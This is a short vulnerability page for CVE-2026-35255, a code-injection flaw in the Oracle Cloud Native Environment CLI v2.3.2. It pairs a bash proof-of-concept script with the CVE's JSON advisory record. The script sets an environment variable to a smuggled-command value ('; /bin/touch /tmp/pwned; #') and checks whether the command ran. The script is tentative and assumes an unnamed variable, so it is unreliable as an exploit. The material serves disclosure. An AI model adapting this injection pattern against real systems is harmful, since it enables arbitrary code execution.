CVE-2026-35255

#!/bin/bash # PoC for CVE-2026-35255: Malicious Environment Variable Code Execution # This script demonstrates how a malicious environment variable can trigger RCE. # 1. Define the malicious payload (e.g., creating a file or executing a shell) # Assuming the vulnerable CLI reads a specific configuration variable. export MALICIOUS_VAR="; /bin/touch /tmp/pwned; #" # 2. Run the vulnerable Oracle Cloud Native Environment CLI # Replace '/path/to/olcnectl' with the actual binary path # The CLI parses the environment variable and executes the command. /path/to/olcnectl status # 3. Verify exploitation if [ -f /tmp/pwned ]; then echo "[+] Exploit successful: Arbitrary code executed." else echo "[-] Exploit failed." fi

{"cve": {"id": "CVE-2026-35255", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:19.827", "lastModified": "2026-05-06T20:30:40.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Cloud Native Environment Command Line Interface product of Oracle Open Source Projects. The supported versions that is affected is v2.3.2. Easily exploitable vulnerability allows unauthenticated attacker to compromise Oracle Cloud Native Environment Command Line Interface product via a malicious environment variable. Successful attacks of this vulnerability can result in Oracle Cloud Native Environment Command Line Interface allowing users to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:cloud_native_environment_command_line_interface:2.3.2:*:*:*:*:*:*:*", "matchCriteriaId": "9B7373D8-06AF-48A0-9D06-14CD6E99E7F5"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/all-oracle-cves-outside-other-oracle-public-documents.html", "source": "[email protected]", "tags": ["Not Applicable"]}]}}